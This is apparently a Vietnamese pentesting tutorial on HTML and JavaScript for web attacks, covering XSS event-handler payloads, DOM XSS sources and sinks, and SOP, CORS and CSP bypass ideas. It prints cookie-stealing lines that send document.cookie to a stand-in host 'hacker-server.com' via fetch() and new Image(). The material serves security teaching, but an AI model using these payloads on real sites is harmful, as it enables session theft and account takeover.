Skip to content
Research
· 5 min read

0.3 - HTML & JS for Pentesters

Quick Nav

1. Mindset

Đây là nền tảng quan trọng nhất. Ta sẽ cùng phân tích dưới các góc nhìn như sau:

  • Developer: Tin tưởng người dùng sẽ nhập đúng định dạng (email là email, số lượng là số dương). Họ xây dựng các “Happy Path” mà không đưa ra các biện pháp để kiểm soát input của người dùng.
  • Pentester: Không đưa dữ liệu sạch như những người dùng thông thường, họ sẽ tìm kiếm “Exception Path” để cố gắng xâm nhập vào các ứng dụng web, hay còn gọi là “bypass”.
  • Client-side Attacks: Browser là môi trường thực thi code. Nếu ta có thể lừa được trình duyệt thực thi code của mình thay vì code gốc của Dev thì ta sẽ chiến thắng.

Ví dụ:

  • Dev nghĩ: Input này là age (tuổi), nên mình dùng <input type="number"> để chặn chữ cái.
  • Pentester nghĩ: Tôi có thể bật DevTools, sau đó sửa trường type="number" thành type="text", rồi gửi một đoạn mã độc hoặc số âm -999 lên server để xem server có kiểm tra lại không.

Ta có thể nghĩ rằng:

  • HTML là nơi ta đặt bẫy
  • JavaScript là vũ khí để tấn công
  • Browser sẽ là môi trường cho ta thực hiện những điều đó

2. HTML: Giao diện để tấn công

HTML không chỉ là giao diện, nó còn là cấu trúc chứa các triggers point dưới góc nhìn của pentesters.

Các thẻ HTML nguy hiểm & Kỹ thuật Bypass

Dev thường chặn thẻ <script>, nhưng Pentester biết rằng có hàng chục cách khác để chạy JS mà không nhất thiết phải dùng thẻ <script> . Ví dụ như:

  • <iframe>: Dùng để load trang web khác vào trang hiện tại (Clickjacking) hoặc dùng giả lập form đăng nhập.
  • <svg>, <img>, <body>: Các thẻ này có thể chứa Event Handlers tự động chạy mà không cần người dùng tương tác.

Event Handlers

Nếu Dev chỉ lọc mỗi từ khóa <script>, ta có thể dùng sự kiện.

  • Ví dụ 1: onload (Chạy ngay khi tải xong web)
<body onload=alert('1')>
<svg/onload=alert(1)>
  • Ví dụ 2: onerror (Chạy khi tải lỗi, rất phổ biến) ta có thể cố tình đưa link ảnh sai để kích hoạt lỗi.
<img src="x" onerror="alert(document.cookie)">
  • Ví dụ 3: onmouseover (Chạy khi di chuột qua), đây cũng là hình thức khá phổ biến
<a href="#" onmouseover="alert('1')">Nhận quà tại đây</a>

3. JavaScript

Khi đã inject được HTML (bước 2), JS là thứ giúp ta có thể “lấy tiền” hoặc “lấy dữ liệu”.

Truy cập dữ liệu nhạy cảm

Mục tiêu số 1 thường là Session Cookies hoặc LocalStorage (chứa JWT Token).

  • Code: document.cookie
  • Rào cản: Nếu Dev set cờ HttpOnly cho cookie, JS sẽ không đọc được cookie đó, lúc này Pentester chuyển hướng sang tấn công thay đổi giao diện hoặc Phishing.

Đánh cắp dữ liệu

Lấy được dữ liệu rồi, làm sao gửi về máy chủ của Hacker?

  • Cách 1: Dùng fetch() (Hiện đại)
fetch('https://hacker-server.com/log?cookie=' + document.cookie);
  • Cách 2: Dùng new Image() (Dùng khi fetch bị chặn bởi CORS) Trình duyệt luôn cho phép tải ảnh từ domain khác, ta sẽ lợi dụng điều này.
new Image().src = "https://hacker-server.com/log.php?c=" + document.cookie;

Giải thích: Trình duyệt sẽ cố tải ảnh từ URL kia, đồng thời gửi luôn cookie trong phần tham số URL.

Sinks & Sources (Nguồn & Đích trong DOM XSS)

Hiểu cái này để tìm lỗi DOM-based XSS (loại XSS mà server không hề hay biết).

  • Source (Nguồn độc hại): location.search (tham số trên URL), location.hash (phần sau dấu #).
  • Sink (Nơi thực thi): innerHTML, eval().

Ví dụ Code của Dev:

// Lấy tên từ URL (?name=...) và gán vào thẻ div
var name = new URLSearchParams(window.location.search).get("name");
document.getElementById("welcome").innerHTML = name; // <--- dính XSS (Sink)

Khai thác: Gửi link: site.com/?name=<img src=x onerror=alert(1)> -> Script sẽ chạy ngay trong trình duyệt nạn nhân.

Các cơ chế bảo mật trình duyệt

Pentester cần biết tường bảo vệ nằm ở đâu để leo qua.

  • SOP (Same-Origin Policy):
    • Luật: Web A không được đọc data của Web B (trừ khi Web B cho phép).
    • Ý nghĩa: Ngăn trang evil.com đọc email của bạn khi bạn đang mở tab gmail.com.
  • CORS (Cross-Origin Resource Sharing):
    • Lỗ hổng: Nếu Dev cấu hình lỏng lẻo: Access-Control-Allow-Origin: * (cho phép tất cả) và Access-Control-Allow-Credentials: true.
    • Khai thác: Kẻ tấn công có thể viết script trên trang của hắn để gửi request đọc dữ liệu cá nhân của user trên trang web bị lỗi.
  • CSP (Content Security Policy):
    • Luật: Header quy định web chỉ được tải script từ các nguồn tin cậy (ví dụ: chỉ từ google-analytics.com).
    • Bypass: Tìm các endpoint JSONP trên các domain được whitelist hoặc sử dụng “Script Gadgets” (các thư viện JS có sẵn trên trang web để thực thi code).

Tools hỗ trợ (Browser DevTools)

Không cần cài tool cao siêu, F12 là đủ để bắt đầu:

  1. Inspector (Elements):
    • Dùng để sửa HTML trực tiếp (như ví dụ sửa giá tiền).
    • Tìm các input ẩn (type="hidden").
  2. Console:
    • Dùng để test code JS. Gõ alert(1) hoặc document.cookie xem trang web phản ứng thế nào.
  3. Network:
    • Quan sát xem dữ liệu form được gửi đi dạng GET (trên URL) hay POST (trong body).
    • Xem các API response trả về có chứa dữ liệu thừa (Information Disclosure) không.
  4. Sources:
    • Dùng để đặt Breakpoint (điểm dừng) để debug code JS của trang web, xem luồng dữ liệu đi từ Source đến Sink như thế nào.

$ ls ./related/